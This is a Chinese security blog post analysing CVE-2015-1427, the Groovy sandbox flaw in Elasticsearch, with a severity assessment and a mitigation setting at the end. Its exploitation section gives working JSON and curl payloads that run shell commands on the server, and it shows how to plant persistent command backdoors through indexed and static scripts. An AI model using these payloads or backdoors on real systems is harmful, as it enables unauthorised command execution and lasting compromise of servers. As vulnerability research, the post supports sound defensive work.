* [0x00 漏洞概述](http://blog.nsfocus.net/elasticsearch-%e8%bf%9c%e7%a8%8b%e4%bb%a3%e7%a0%81%e6%89%a7%e8%a1%8c%e6%bc%8f%e6%b4%9e%e5%88%86%e6%9e%90%ef%bc%88cve-2015-1427%ef%bc%89%e9%ab%98%e7%ba%a7%e5%88%a9%e7%94%a8%e6%96%b9%e6%b3%95/" \l "0x00" \o "0x00 漏洞概述)
* [0x01 漏洞原理](http://blog.nsfocus.net/elasticsearch-%e8%bf%9c%e7%a8%8b%e4%bb%a3%e7%a0%81%e6%89%a7%e8%a1%8c%e6%bc%8f%e6%b4%9e%e5%88%86%e6%9e%90%ef%bc%88cve-2015-1427%ef%bc%89%e9%ab%98%e7%ba%a7%e5%88%a9%e7%94%a8%e6%96%b9%e6%b3%95/#0x01)
* [0x02 漏洞利用](http://blog.nsfocus.net/elasticsearch-%e8%bf%9c%e7%a8%8b%e4%bb%a3%e7%a0%81%e6%89%a7%e8%a1%8c%e6%bc%8f%e6%b4%9e%e5%88%86%e6%9e%90%ef%bc%88cve-2015-1427%ef%bc%89%e9%ab%98%e7%ba%a7%e5%88%a9%e7%94%a8%e6%96%b9%e6%b3%95/#0x02)
* [0x03 思维壁垒](http://blog.nsfocus.net/elasticsearch-%e8%bf%9c%e7%a8%8b%e4%bb%a3%e7%a0%81%e6%89%a7%e8%a1%8c%e6%bc%8f%e6%b4%9e%e5%88%86%e6%9e%90%ef%bc%88cve-2015-1427%ef%bc%89%e9%ab%98%e7%ba%a7%e5%88%a9%e7%94%a8%e6%96%b9%e6%b3%95/#0x03)
* [0x04 漏洞总结](http://blog.nsfocus.net/elasticsearch-%e8%bf%9c%e7%a8%8b%e4%bb%a3%e7%a0%81%e6%89%a7%e8%a1%8c%e6%bc%8f%e6%b4%9e%e5%88%86%e6%9e%90%ef%bc%88cve-2015-1427%ef%bc%89%e9%ab%98%e7%ba%a7%e5%88%a9%e7%94%a8%e6%96%b9%e6%b3%95/#0x04)
  + [漏洞小结](http://blog.nsfocus.net/elasticsearch-%e8%bf%9c%e7%a8%8b%e4%bb%a3%e7%a0%81%e6%89%a7%e8%a1%8c%e6%bc%8f%e6%b4%9e%e5%88%86%e6%9e%90%ef%bc%88cve-2015-1427%ef%bc%89%e9%ab%98%e7%ba%a7%e5%88%a9%e7%94%a8%e6%96%b9%e6%b3%95/#i)
  + [防护方案](http://blog.nsfocus.net/elasticsearch-%e8%bf%9c%e7%a8%8b%e4%bb%a3%e7%a0%81%e6%89%a7%e8%a1%8c%e6%bc%8f%e6%b4%9e%e5%88%86%e6%9e%90%ef%bc%88cve-2015-1427%ef%bc%89%e9%ab%98%e7%ba%a7%e5%88%a9%e7%94%a8%e6%96%b9%e6%b3%95/#i-2)
* 合上一篇文章一起来看 我第一次知道CVE-2015-1427这个漏洞是在2月13日（春节放假前一天），但是当时想着过年，而且觉得应该是Groovy自身的问题，就也没太在意。知道前两天兰少（lupin）问我有没有看这个漏洞，说他找到了绕过了沙盒的方法，才跑去看。
* 我跟lupin玩这个洞的思路不太一样，而且漏洞原理在他的文章里已经说的很清楚了，我这篇文章主要侧重这个漏洞利用的各种玩法。

### 0x01 ****漏洞原理****

* 漏洞原因很简单，由于沙盒代码黑名单中的Java危险方法不全，从而导致恶意用户仍可以使用反射的方法来执行Java代码。这就完了？当然不是！由于Elasticsearch开发团队没有完全认知Groovy的强大，以为仅仅防止用户调用Java反射就可以免于被攻击，这真是太好笑了，我们来看下Groovy对自己的描述：
* 没错！Groovy是一款开发语言，这意味着我们完全可以在不使用Java的前提下实现代码执行。如果仅仅是沙盒的问题，那么修补黑白名单到攻击者没办法绕过沙盒使用Java反射就好了，但是一种语言要怎么靠黑白名单来限制它的绝大部分功能？所以没有把Groovy当做一种编程语言是这问题的真正原因。

### 0x02 ****漏洞利用****

* 漏洞利用其实也很简单，我们只需要参照官方提供的script使用说明来执行脚本就可以了。[官方文档](http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/modules-scripting.html)提供了两个方法让我们直接执行脚本代码。
* 我们先来看第一种方式——直接执行脚本，这种方式也就是目前大家都在使用的方式。使用起来也很简单，直接向/\_search这个URL提供如下POST内容：

{"script\_fields": {"my\_field": {"script": "def command=\"netstat -an\";def res=command.execute().text;res","lang":"groovy"}}}

效果如下图所示：

官方文档除了直接执行脚本，还提供了一种预先存储脚本用于以后执行的方式——脚本索引，这种方法使用起来比较繁琐，下面我们先来看官方提供的示例：

//建立脚本索引

curl -XPOST localhost:9200/\_scripts/groovy/indexedCalculateScore -d '{

"script": "log(\_score \* 2) + my\_modifier"

}'

//使用脚本索引，并执行脚本索引中的代码

curl -XPOST localhost:9200/\_search -d '{

"query": {

"function\_score": {

"query": {

"match": {

"body": "foo"

}

},

"functions": [

{

"script\_score": {

"script\_id": "indexedCalculateScore",

"lang" : "groovy",

"params": {

"my\_modifier": 8

}

}

}

]

}

}

}'

下面我们来看实际操作，首先是建立脚本索引：

{

"script": "def command=\"netstat -an\";def res=command.execute().text;res"

}

然后是执行刚刚建立的脚本索引，由于官方给的示例中不可以返回字符串，所以这里我修改了POST提交的内容。

{

"query" : {

"match\_all":{

}

},

"script\_fields" : {

"test1" : {

"script\_id" : "indexedCalculateScore",

"lang":"groovy"

}

}

}

这种方法相比较直接执行脚本多了一个存储的步骤，但是却不失为一种留后门的好方法。如果我们这样建立一条脚本索引：

{

"script": "def res=command.execute().text;res"

}

然后这样执行它：

{

"query" : {

"match\_all":{

}

},

"script\_fields" : {

"test1" : {

"script\_id" : "indexedCalculateScore",

"lang":"groovy",

"params":{

"command":"netstat -an"

}

}

}

}

完美的一个shell命令后门就完成了，效果如下图所示：

不过使用脚本索引建立的后门有一个问题，就是需要在动态脚本开启的状态下。而官方提供给我们的最后一个调用脚本的方式——调用静态脚本，刚刚好可以帮助我们维持后门的持久性。

使用方法如下：在config目录下建立一个名为scripts的目录，把脚本文件放进去，然后用script\_file替换上面的script\_id字段就好了。这里做一个简单的例子，在scripts里放上我们刚才的的那个shell后门的代码，并命名为vul.groovy，然后POST如下数据进行搜索：

{

"script\_fields": {

"my\_field": {

"file": "vul",

"params": {

"command":"netstat -an"

}

}

}

如果你足够仔细的话，可能会发现上面的代码中我使用的file而不是官方示例的script\_file，因为我测试环境是1.3.5和1.4.10，而官方所提供的示例应该是针对MVEL表达式时代的静态表达式使用方法，所以有些时候不看代码是无法发现真相的→\_→。

### 0x03 ****思维壁垒****

在和lupin一开始讨论这个漏洞的时候，发现我们思考的方式完全不一样。他在跟我说怎么怎么绕过沙盒，而我却不断的问他沙盒在哪里？为什么我没有感觉到沙盒的存在？从lupin[这篇文章](http://drops.wooyun.org/papers/5107)描述的细节和下面官方对这个漏洞描述的内容以及官方对于漏洞的后期修复，再到这两天的全民反射来看，大家明显是都被带到沟里去了，把一个好好的代码执行漏洞玩成了命令执行漏洞。

The vulnerabilities allow an attacker to construct Groovy scripts that escape the sandbox and execute shell commands as the user running the Elasticsearch Java VM.

如果让我用一句话来评论目前的大家使用的PoC的话，“用C的方式来利用一个[PHP](http://blog.nsfocus.net/tag/php/)代码执行”，这句话再合适不过了。我在[《一种新的攻击方法——Java-Web-Expression-Language-Injection》](http://drops.wooyun.org/tips/2494)中提到的JELI的这种漏洞形式（或者说攻击方法），是由于开发者对于Java上层建筑的表达式认知度不够而导致漏洞的出现。Struts2没有想到Ognl可以执行Java代码，Elasticsearch同样没有想到Groovy可以实现任意Java功能。

所以在这里我觉得有必要提醒大家一下，小心思维壁垒的出现。

### 0x04 ****漏洞总结****

#### ****漏洞小结****

1. 影响范围个人评价为“高”，ElasticSearch在大数据时代得到广泛的使用，而且此漏洞覆盖十个左右的版本，所以影响范围还是很广的。
2. 危害性个人评价为“极高”，此漏洞值需要使用默认的动态脚本配置便可被利用，攻击者可以利用这个漏洞getshell。

#### ****防护方案****

关闭groovy沙盒以停止动态脚本的使用：

script.groovy.sandbox.enabled: false